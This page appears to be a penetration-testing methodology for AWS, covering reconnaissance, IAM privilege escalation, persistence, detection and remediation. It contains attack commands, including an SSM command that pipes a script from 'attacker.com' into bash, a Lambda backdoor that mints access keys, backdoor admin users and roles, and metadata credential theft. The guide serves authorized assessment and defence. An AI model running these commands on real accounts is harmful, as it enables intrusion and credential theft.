AWS cloud security assessment and penetration testing

AWS Security Assessment Methodology

Systematic methodology for AWS security assessments covering IAM analysis, S3 bucket enumeration, EC2 exploitation, and cloud-native attack techniques.

Introduction

AWS security assessments require a fundamentally different approach than traditional network penetration testing. The shared responsibility model, identity-centric access controls, and API-driven architecture demand specialized methodologies and tooling. This guide provides a comprehensive framework for assessing AWS environments from both external and assumed breach perspectives.

Whether you're performing a black-box assessment with minimal access or evaluating security posture with legitimate credentials, understanding AWS-specific attack vectors is essential for identifying real-world risks.

Scope Carefully

Always obtain explicit written authorization before testing AWS environments. Unauthorized testing can violate AWS Acceptable Use Policy and Terms of Service. Some AWS services may require additional notification even with customer authorization.

Assessment Phases

Phase 1: Reconnaissance and Information Gathering

External Reconnaissance

Identify AWS resources without authenticated access:

# Enumerate S3 buckets from known naming patterns
aws s3 ls s3://company-backups --no-sign-request
aws s3 ls s3://company-prod --no-sign-request
aws s3 ls s3://company-dev --no-sign-request

# Check for publicly accessible S3 buckets
curl -s https://company-backups.s3.amazonaws.com/ | xmllint --format -

# Enumerate CloudFront distributions
dig company.com ANY | grep cloudfront

# Identify exposed EC2 metadata endpoints (SSRF scenarios)
curl http://169.254.169.254/latest/meta-data/

DNS Enumeration

# Find AWS-related subdomains
subfinder -d company.com | grep -E "amazonaws|cloudfront|elasticbeanstalk"

# Identify region-specific resources
dig _amazonses.company.com TXT
dig company.com MX | grep amazonaws

# CloudFront distribution discovery
nslookup -type=CNAME www.company.com

GitHub and Code Repositories

Search for exposed credentials:

# Using truffleHog
trufflehog git https://github.com/company/repo --regex --entropy=True

# Search for AWS keys
git-secrets --scan

# GitHub dork queries
AKIAQO3WXYZ site:github.com
AKIA[0-9A-Z]{16} site:github.com
aws_secret_access_key site:pastebin.com

Shodan and Certificate Transparency

# Shodan queries for AWS resources
ssl.cert.subject.cn:"*.amazonaws.com" org:"company"
product:"Amazon CloudFront"

# Certificate transparency logs
curl -s "https://crt.sh/?q=%.company.com&output=json" | jq -r '.[].name_value' | grep aws

Phase 2: Initial Access and Credential Validation

Credential Discovery Vectors

Common locations for AWS credentials:

  • Environment variables: AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY
  • Configuration files: ~/.aws/credentials, ~/.aws/config
  • EC2 instance metadata: http://169.254.169.254/latest/meta-data/iam/security-credentials/
  • Docker containers: Environment variables, mounted volumes
  • Lambda environment variables: Exposed through function configuration
  • Application configuration files: JSON, YAML, .env files
  • Version control history: Git commits, branches

Validating Credentials

# Test credential validity
aws sts get-caller-identity

# Expected output reveals:
# - Account ID
# - ARN (Amazon Resource Name)
# - User/Role identity

# Example output:
{
    "UserId": "AIDACKCEVSQ6C2EXAMPLE",
    "Account": "123456789012",
    "Arn": "arn:aws:iam::123456789012:user/DevUser"
}

Enumerate Accessible Regions

# List enabled regions
aws ec2 describe-regions --output table

# Test access across regions
for region in $(aws ec2 describe-regions --query 'Regions[].RegionName' --output text); do
    echo "Testing $region"
    aws s3 ls --region $region 2>&1 | head -1
done

Phase 3: Privilege Enumeration

Identity and Access Management (IAM) Analysis

# List attached user policies
aws iam list-attached-user-policies --user-name DevUser

# Get inline policies
aws iam list-user-policies --user-name DevUser
aws iam get-user-policy --user-name DevUser --policy-name InlinePolicy

# List group memberships
aws iam list-groups-for-user --user-name DevUser

# Enumerate role permissions (if assuming roles)
aws iam list-attached-role-policies --role-name LambdaExecutionRole

Permission Boundary Analysis

# Check for permission boundaries
aws iam get-user --user-name DevUser | jq '.User.PermissionsBoundary'

# List all policies for comprehensive review
aws iam list-policies --scope Local --output table

Automated Enumeration with enumerate-iam

# Clone and setup enumerate-iam
git clone https://github.com/andresriancho/enumerate-iam.git
cd enumerate-iam

# Run enumeration
python enumerate-iam.py --access-key AKIAIOSFODNN7EXAMPLE --secret-key wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY

# Output shows:
# - Allowed actions
# - Denied actions
# - Error responses

Using Pacu for Comprehensive Enumeration

# Setup Pacu AWS exploitation framework
git clone https://github.com/RhinoSecurityLabs/pacu.git
cd pacu && bash install.sh

# Start Pacu
python3 pacu.py

# Configure session with credentials
Pacu (new_session) > set_keys
Pacu (new_session) > import_keys --all

# Run reconnaissance modules
Pacu (new_session) > run iam__enum_permissions
Pacu (new_session) > run iam__enum_users_roles_policies_groups
Pacu (new_session) > run iam__bruteforce_permissions

Phase 4: Lateral Movement and Privilege Escalation

IAM Privilege Escalation Paths

Common privilege escalation techniques:

1. CreateAccessKey / CreateLoginProfile

# Create new access keys for any user
aws iam create-access-key --user-name AdminUser

# Create console password for any user
aws iam create-login-profile --user-name AdminUser --password 'TempPassword123!'

2. AttachUserPolicy / PutUserPolicy

# Attach AdministratorAccess policy to your user
aws iam attach-user-policy --user-name DevUser --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

# Create inline policy with full permissions
aws iam put-user-policy --user-name DevUser --policy-name AdminPolicy --policy-document file://admin-policy.json

3. AssumeRole with Weak Trust Policies

# Assume privileged role
aws sts assume-role --role-arn arn:aws:iam::123456789012:role/AdminRole --role-session-name test

# Use temporary credentials
export AWS_ACCESS_KEY_ID=ASIAIOSFODNN7EXAMPLE
export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
export AWS_SESSION_TOKEN=FwoGZXIvYXdzEBYaDKg...

4. PassRole with Lambda/EC2

# Create Lambda function with privileged role
aws lambda create-function --function-name PrivEscFunc \
  --runtime python3.9 \
  --role arn:aws:iam::123456789012:role/AdminRole \
  --handler lambda_function.lambda_handler \
  --zip-file fileb://function.zip

# Invoke to execute with elevated privileges
aws lambda invoke --function-name PrivEscFunc output.txt

5. UpdateAssumeRolePolicy

# Modify role trust policy to allow assumption
aws iam update-assume-role-policy --role-name AdminRole --policy-document file://trust-policy.json

# Trust policy allowing any authenticated user
{
  "Version": "2012-10-17",
  "Statement": [{
    "Effect": "Allow",
    "Principal": {"AWS": "arn:aws:iam::123456789012:root"},
    "Action": "sts:AssumeRole"
  }]
}

Resource-Based Privilege Escalation

EC2 Instance Metadata Service (IMDS)

# Access instance metadata (from compromised EC2)
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Retrieve role credentials
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/EC2-Default-Role

# IMDSv2 (requires token)
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/

Lambda Environment Variables

# List functions
aws lambda list-functions --query 'Functions[].FunctionName'

# Get function configuration (may contain secrets)
aws lambda get-function-configuration --function-name SensitiveFunc

# Download function code
aws lambda get-function --function-name SensitiveFunc --query 'Code.Location' | xargs curl -o function.zip

Phase 5: Persistence

IAM Persistence Mechanisms

# Create backdoor user
aws iam create-user --user-name backup-admin
aws iam create-access-key --user-name backup-admin
aws iam attach-user-policy --user-name backup-admin --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

# Create backdoor role with broad trust policy
aws iam create-role --role-name BackdoorRole --assume-role-policy-document file://backdoor-trust.json
aws iam attach-role-policy --role-name BackdoorRole --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

Lambda Backdoors

# Lambda function for persistent access
import boto3
import json

def lambda_handler(event, context):
    # Create access key for specified user
    iam = boto3.client('iam')
    response = iam.create_access_key(UserName='TargetUser')

    # Exfiltrate to external endpoint
    # ... send credentials to attacker-controlled server

    return {
        'statusCode': 200,
        'body': json.dumps('Backdoor executed')
    }

SSM Session Manager Access

# Enable Systems Manager access to EC2 instances
aws ssm send-command \
  --document-name "AWS-RunShellScript" \
  --targets "Key=instanceids,Values=i-1234567890abcdef0" \
  --parameters 'commands=["curl http://attacker.com/shell.sh | bash"]'

Common Misconfigurations

S3 Bucket Misconfigurations

Public Read Access

# Enumerate public S3 buckets
aws s3api list-buckets --query 'Buckets[].Name' | \
  xargs -I {} aws s3api get-bucket-acl --bucket {} 2>/dev/null | \
  grep -B 5 "AllUsers"

# Check bucket policies
aws s3api get-bucket-policy --bucket company-data | jq '.Policy | fromjson'

Unencrypted Buckets

# Check encryption status
aws s3api get-bucket-encryption --bucket sensitive-data

# List unencrypted buckets
for bucket in $(aws s3 ls | awk '{print $3}'); do
  aws s3api get-bucket-encryption --bucket $bucket 2>&1 | grep -q "ServerSideEncryptionConfigurationNotFoundError" && echo "$bucket is unencrypted"
done

Weak Bucket Policies

// Dangerous bucket policy allowing public access
{
  "Version": "2012-10-17",
  "Statement": [{
    "Sid": "PublicRead",
    "Effect": "Allow",
    "Principal": "*",
    "Action": "s3:GetObject",
    "Resource": "arn:aws:s3:::company-backups/*"
  }]
}

IAM Misconfigurations

Overly Permissive Policies

# Find users with administrative access
aws iam list-users --query 'Users[].UserName' | \
  xargs -I {} aws iam list-attached-user-policies --user-name {} | \
  grep AdministratorAccess

# Identify wildcarded policies
aws iam list-policies --scope Local --query 'Policies[].Arn' | \
  xargs -I {} aws iam get-policy-version --policy-arn {} --version-id v1 | \
  grep -E '\*.*\*'

Long-Lived Access Keys

# Find old access keys
aws iam list-users --query 'Users[].UserName' | xargs -I {} bash -c '
  echo "User: {}"
  aws iam list-access-keys --user-name {} --query "AccessKeyMetadata[?CreateDate<\`2024-01-01\`]"
'

Password Policy Weaknesses

# Check account password policy
aws iam get-account-password-policy

# Weak policy indicators:
# - MinimumPasswordLength < 14
# - RequireSymbols: false
# - RequireNumbers: false
# - MaxPasswordAge > 90

Network and Compute Misconfigurations

Security Group Overly Permissive Rules

# Find security groups allowing 0.0.0.0/0 access
aws ec2 describe-security-groups \
  --query 'SecurityGroups[?IpPermissions[?IpRanges[?CidrIp==`0.0.0.0/0`]]].[GroupId,GroupName]' \
  --output table

# Identify SSH/RDP exposed to internet
aws ec2 describe-security-groups \
  --filters Name=ip-permission.from-port,Values=22,3389 \
  --query 'SecurityGroups[?IpPermissions[?IpRanges[?CidrIp==`0.0.0.0/0`]]]'

Publicly Accessible RDS Instances

# Find publicly accessible databases
aws rds describe-db-instances \
  --query 'DBInstances[?PubliclyAccessible==`true`].[DBInstanceIdentifier,Endpoint.Address]' \
  --output table

Unencrypted EBS Volumes

# List unencrypted volumes
aws ec2 describe-volumes \
  --query 'Volumes[?Encrypted==`false`].[VolumeId,Size,State]' \
  --output table

Assessment Tools

ScoutSuite

Comprehensive multi-cloud security auditing:

# Install ScoutSuite
pip install scoutsuite

# Run AWS assessment
scout aws --profile company-prod

# Review HTML report
firefox scoutsuite-report/index.html

Prowler

AWS security best practices assessment:

# Clone Prowler
git clone https://github.com/prowler-cloud/prowler
cd prowler

# Run all checks
./prowler -M csv,html

# Run specific compliance framework
./prowler -f cis_1.5_aws

# Check specific services
./prowler -g iam,s3

CloudMapper

Visual AWS environment mapping:

# Install CloudMapper
git clone https://github.com/duo-labs/cloudmapper.git
cd cloudmapper && pip install -r requirements.txt

# Configure account
python cloudmapper.py configure add-account --config-file config.json --name prod --id 123456789012

# Collect data
python cloudmapper.py collect --account prod

# Generate web visualization
python cloudmapper.py prepare --account prod && python cloudmapper.py webserver

WeirdAAL

AWS attack library:

# Setup WeirdAAL
git clone https://github.com/carnal0wnage/weirdAAL.git
cd weirdAAL && pip install -r requirements.txt

# Run reconnaissance
python3 weirdAAL.py -m recon_all -t <profile>

# Attempt privilege escalation
python3 weirdAAL.py -m privesc_* -t <profile>

Pacu

AWS exploitation framework:

# Key Pacu modules for assessment
run iam__privesc_scan              # Identify privilege escalation paths
run s3__bucket_finder              # Discover S3 buckets
run ec2__enum                      # Enumerate EC2 resources
run lambda__enum                   # Enumerate Lambda functions
run secretsmanager__secrets_dump   # Extract Secrets Manager secrets
run rds__enum                      # Enumerate RDS databases

Detection and Monitoring

CloudTrail Analysis

# Search for suspicious IAM activity
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=CreateAccessKey \
  --max-results 50

# Find privilege escalation attempts
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=AttachUserPolicy

# Detect unusual API calls
aws cloudtrail lookup-events \
  --start-time 2025-01-01T00:00:00Z \
  --end-time 2025-01-31T23:59:59Z \
  --query 'Events[?EventName==`AssumeRole`]'

GuardDuty Findings

# List active findings
aws guardduty list-findings --detector-id <detector-id>

# Get finding details
aws guardduty get-findings --detector-id <detector-id> --finding-ids <finding-id>

# High-severity findings only
aws guardduty list-findings --detector-id <detector-id> \
  --finding-criteria '{"Criterion":{"severity":{"Gte":7}}}'

CloudWatch Alerts

Create alerts for suspicious activity:

# Metric filter for IAM policy changes
aws logs put-metric-filter \
  --log-group-name CloudTrail/logs \
  --filter-name IAMPolicyChanges \
  --filter-pattern '{ ($.eventName = DeleteGroupPolicy) || ($.eventName = DeleteRolePolicy) || ($.eventName = DeleteUserPolicy) || ($.eventName = PutGroupPolicy) || ($.eventName = PutRolePolicy) || ($.eventName = PutUserPolicy) || ($.eventName = CreatePolicy) || ($.eventName = DeletePolicy) || ($.eventName = CreatePolicyVersion) || ($.eventName = DeletePolicyVersion) || ($.eventName = AttachRolePolicy) || ($.eventName = DetachRolePolicy) || ($.eventName = AttachUserPolicy) || ($.eventName = DetachUserPolicy) || ($.eventName = AttachGroupPolicy) || ($.eventName = DetachGroupPolicy) }' \
  --metric-transformations \
    metricName=IAMPolicyChanges,metricNamespace=CloudTrailMetrics,metricValue=1

Remediation Recommendations

Immediate Actions

1. Rotate Compromised Credentials

# Disable compromised access keys
aws iam update-access-key --user-name CompromisedUser --access-key-id AKIAIOSFODNN7EXAMPLE --status Inactive

# Delete access key
aws iam delete-access-key --user-name CompromisedUser --access-key-id AKIAIOSFODNN7EXAMPLE

# Force password reset
aws iam update-login-profile --user-name CompromisedUser --password-reset-required

2. Review CloudTrail Logs

# Export recent events for analysis
aws cloudtrail lookup-events \
  --start-time $(date -u -d '7 days ago' +%Y-%m-%dT%H:%M:%S) \
  --max-results 1000 > cloudtrail-analysis.json

# Analyze for suspicious patterns
jq '.Events[] | select(.Username=="CompromisedUser")' cloudtrail-analysis.json

3. Restrict Permissions

# Remove overly permissive policies
aws iam detach-user-policy --user-name DevUser --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

# Attach least-privilege policy
aws iam attach-user-policy --user-name DevUser --policy-arn arn:aws:iam::aws:policy/ReadOnlyAccess

Long-Term Hardening

Implement IAM Best Practices

  • Enable MFA for all users
  • Rotate access keys every 90 days
  • Enforce strong password policies
  • Use IAM roles instead of long-lived credentials
  • Implement permission boundaries
  • Regular access reviews and audits

Network Security

# Enable VPC Flow Logs
aws ec2 create-flow-logs \
  --resource-type VPC \
  --resource-ids vpc-12345678 \
  --traffic-type ALL \
  --log-destination-type cloud-watch-logs \
  --log-group-name /aws/vpc/flowlogs

# Enable GuardDuty
aws guardduty create-detector --enable

Data Protection

  • Enable S3 bucket encryption by default
  • Use AWS KMS for encryption key management
  • Enable S3 bucket versioning
  • Implement S3 Object Lock for compliance
  • Enable CloudTrail log file validation

Monitoring and Alerting

# Enable Security Hub
aws securityhub enable-security-hub

# Subscribe to standards
aws securityhub batch-enable-standards \
  --standards-subscription-requests '[{"StandardsArn":"arn:aws:securityhub:us-east-1::standards/cis-aws-foundations-benchmark/v/1.4.0"}]'

References

Next Steps

After completing an AWS security assessment:

  • Prioritize findings based on exploitability and business impact
  • Develop remediation roadmap with short-term and long-term goals
  • Implement detective controls using GuardDuty, Security Hub, and CloudWatch
  • Establish baseline configurations using AWS Config and CloudFormation
  • Conduct purple team exercises to validate detection capabilities
  • Review related cloud security topics:
    • Azure security assessment techniques
    • GCP security best practices
    • Multi-cloud security posture management

Takeaway: AWS security assessments require specialized knowledge of cloud-native attack vectors and misconfigurations. The combination of proper credential management, least-privilege IAM policies, network segmentation, and comprehensive monitoring provides defense-in-depth for cloud environments. Make cloud security assessments a regular practice as your AWS footprint evolves.

Last updated on

AWS Security Assessment Methodology | Drake Axelrod